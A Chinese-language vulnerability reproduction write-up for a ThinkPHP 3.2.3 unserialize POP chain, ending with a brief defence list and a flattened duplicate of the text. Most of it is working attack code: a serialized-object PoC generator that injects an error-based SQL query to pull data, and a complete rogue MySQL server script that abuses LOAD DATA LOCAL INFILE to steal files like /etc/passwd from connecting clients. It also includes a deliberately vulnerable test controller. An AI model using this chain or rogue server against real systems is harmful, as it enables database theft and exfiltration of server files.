ThinkPHP3.2.*POP链复现(SQL注入&读取文件)
字数 1069 2025-08-29 08:31:47

ThinkPHP 3.2.* POP链复现(SQL注入&文件读取)技术分析

环境搭建

所需环境

  • PHP版本: 5.4.45
  • 操作系统: Windows
  • 中间件: Apache
  • ThinkPHP版本: 3.2.3
  • 数据库: MySQL
  • 工具: PHPstudy 8.1.1.3, PHPstorm

测试环境配置

在Home模块下的index控制器中创建反序列化入口点:

<?php 
namespace Home\Controller;
use Think\Controller;

class IndexController extends Controller {
    public function index($n) {
        unserialize(base64_decode($n));
        echo 1;
    }
}

POP链分析

反序列化入口点

  1. 查找__destruct魔术方法作为入口
  2. 定位到/ThinkPHP/Library/Think/Image/Driver/Imagick.class.php

调用链路径

  1. Imagick::__destruct()
  2. Memcache::destroy()
  3. Model::delete()
  4. Driver::delete()
  5. Driver::execute()

关键节点分析

1. Imagick类中的__destruct方法

// ThinkPHP/Library/Think/Image/Driver/Imagick.class.php
public function __destruct() {
    empty($this->img) || $this->img->destroy();
}
  • 通过控制$this->img可调用任意类的destroy方法

2. Memcache类中的destroy方法

// ThinkPHP/Library/Think/Session/Driver/Memcache.class.php
public function destroy($sessID = '') {
    return $this->handle->delete($this->sessionName);
}
  • 通过控制$this->handle可调用任意类的delete方法
  • $this->sessionName可控,用于传递参数

3. Model类中的delete方法

// ThinkPHP/Library/Think/Model.class.php
public function delete($options=array()) {
    $pk = $this->getPk(); // $pk可控
    // ...省略部分代码...
    $result = $this->db->delete($options);
    return $result;
}
  • 通过$this->db可调用数据库驱动类的delete方法
  • $options参数可通过$this->data[$pk]控制

4. Driver类中的delete方法

// ThinkPHP/Library/Think/Db/Driver.class.php
public function delete($options=array()) {
    $table = $this->parseTable($options['table']);
    $sql = 'DELETE FROM '.$table;
    // ...构建SQL语句...
    return $this->execute($sql,!empty($options['fetch_sql']) ? true : false);
}
  • $options['table']可控,导致SQL注入
  • 最终调用execute方法执行SQL

5. execute方法关键点

public function execute($str,$fetchSql=false) {
    $this->initConnect(true); // 初始化数据库连接
    // ...执行SQL语句...
    $this->PDOStatement = $this->_linkID->prepare($str);
    $result = $this->PDOStatement->execute();
    return $result;
}
  • 可通过控制$this->config连接恶意MySQL服务器
  • 利用MySQL的LOAD DATA LOCAL INFILE特性读取文件

漏洞利用

1. SQL注入利用POC

<?php
namespace Think\Db\Driver{
    use PDO;
    class Mysql{
        protected $options = array(
            PDO::MYSQL_ATTR_LOCAL_INFILE => true
        );
        protected $config = array(
            "debug" => 1,
            "database" => "mysql",
            "hostname" => "127.0.0.1",
            "hostport" => "3306",
            "charset" => "utf8",
            "username" => "root",
            "password" => "root"
        );
    }
}

namespace Think\Image\Driver{
    use Think\Session\Driver\Memcache;
    class Imagick{
        private $img;
        public function __construct(){
            $this->img = new Memcache();
        }
    }
}

namespace Think\Session\Driver{
    use Think\Model;
    class Memcache{
        protected $handle;
        public function __construct(){
            $this->handle = new Model();
        }
    }
}

namespace Think{
    use Think\Db\Driver\Mysql;
    class Model{
        protected $options = array();
        protected $pk;
        protected $data = array();
        protected $db = null;
        public function __construct(){
            $this->db = new Mysql();
            $this->options['where'] = '';
            $this->pk = 'id';
            $this->data[$this->pk] = array(
                "table" => "mysql.user where 1=updatexml(1,concat(0x7e,substr((select group_concat(flag) from test.flag),1,32)),0)#",
                "where" => "1=1"
            );
        }
    }
}

namespace{
    echo base64_encode(serialize(new Think\Image\Driver\Imagick()));
}

2. 文件读取利用

恶意MySQL服务器脚本

<?php
function unhex($str) {
    return pack("H*", preg_replace('#[^a-f0-9]+#si', '', $str));
}

$filename = "/etc/passwd";
$srv = stream_socket_server("tcp://0.0.0.0:3306");

while(true) {
    echo "Enter filename to get [$filename] > ";
    $newFilename = rtrim(fgets(STDIN), "\r\n");
    if(!empty($newFilename)) {
        $filename = $newFilename;
    }
    
    echo "[.] Waiting for connection on 0.0.0.0:3306\n";
    $s = stream_socket_accept($srv, -1, $peer);
    
    echo "[+] Connection from $peer - greet... ";
    fwrite($s, unhex('45 00 00 00 0a 35 2e 31 2e 36 33 2d 30 75 62 75 6e 74 75 30 2e 31 30 2e 30 34 2e 31 00 26 00 00 00 7a 42 7a 60 51 56 3b 64 00 ff f7 08 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 64 4c 2f 44 47 77 43 2a 43 56 63 72 00'));
    fread($s, 8192);
    
    echo "auth ok... ";
    fwrite($s, unhex('07 00 00 02 00 00 00 02 00 00 00'));
    fread($s, 8192);
    
    echo "some shit ok... ";
    fwrite($s, unhex('07 00 00 01 00 00 00 00 00 00 00'));
    fread($s, 8192);
    
    echo "want file... ";
    fwrite($s, chr(strlen($filename)+1)."\x00\x00\x01\xFB".$filename);
    stream_socket_shutdown($s, STREAM_SHUT_WR);
    
    echo "\n[+] $filename from $peer: \n";
    $len = fread($s, 4);
    if(!empty($len)) {
        list(, $len) = unpack("V", $len);
        $len &= 0xffffff;
        while($len > 0) {
            $chunk = fread($s, $len);
            $len -= strlen($chunk);
            echo $chunk;
        }
    }
    echo "\n\n";
    fclose($s);
}

文件读取POC配置

修改Mysql类的config配置,指向恶意MySQL服务器:

protected $config = array(
    "debug" => 1,
    "database" => "thinkphp",
    "hostname" => "恶意服务器IP",
    "hostport" => "3306",
    "charset" => "utf8",
    "username" => "任意用户名",
    "password" => "任意密码"
);

防御措施

  1. 禁用危险函数:在生产环境中禁用unserialize函数
  2. 输入过滤:对所有用户输入进行严格过滤
  3. 最小权限原则:数据库账户使用最小必要权限
  4. 更新框架:升级到ThinkPHP最新版本
  5. 配置安全:关闭PDO::MYSQL_ATTR_LOCAL_INFILE选项

参考链接

  1. ThinkPHP反序列化漏洞分析
  2. MySQL客户端文件读取漏洞分析
ThinkPHP 3.2.* POP链复现(SQL注入&文件读取)技术分析 环境搭建 所需环境 PHP版本: 5.4.45 操作系统: Windows 中间件: Apache ThinkPHP版本: 3.2.3 数据库: MySQL 工具: PHPstudy 8.1.1.3, PHPstorm 测试环境配置 在Home模块下的index控制器中创建反序列化入口点: POP链分析 反序列化入口点 查找 __destruct 魔术方法作为入口 定位到 /ThinkPHP/Library/Think/Image/Driver/Imagick.class.php 调用链路径 Imagick::__destruct() → Memcache::destroy() → Model::delete() → Driver::delete() → Driver::execute() 关键节点分析 1. Imagick类中的__ destruct方法 通过控制 $this->img 可调用任意类的 destroy 方法 2. Memcache类中的destroy方法 通过控制 $this->handle 可调用任意类的 delete 方法 $this->sessionName 可控,用于传递参数 3. Model类中的delete方法 通过 $this->db 可调用数据库驱动类的 delete 方法 $options 参数可通过 $this->data[$pk] 控制 4. Driver类中的delete方法 $options['table'] 可控,导致SQL注入 最终调用 execute 方法执行SQL 5. execute方法关键点 可通过控制 $this->config 连接恶意MySQL服务器 利用MySQL的 LOAD DATA LOCAL INFILE 特性读取文件 漏洞利用 1. SQL注入利用POC 2. 文件读取利用 恶意MySQL服务器脚本 文件读取POC配置 修改 Mysql 类的 config 配置,指向恶意MySQL服务器: 防御措施 禁用危险函数 :在生产环境中禁用 unserialize 函数 输入过滤 :对所有用户输入进行严格过滤 最小权限原则 :数据库账户使用最小必要权限 更新框架 :升级到ThinkPHP最新版本 配置安全 :关闭 PDO::MYSQL_ATTR_LOCAL_INFILE 选项 参考链接 ThinkPHP反序列化漏洞分析 MySQL客户端文件读取漏洞分析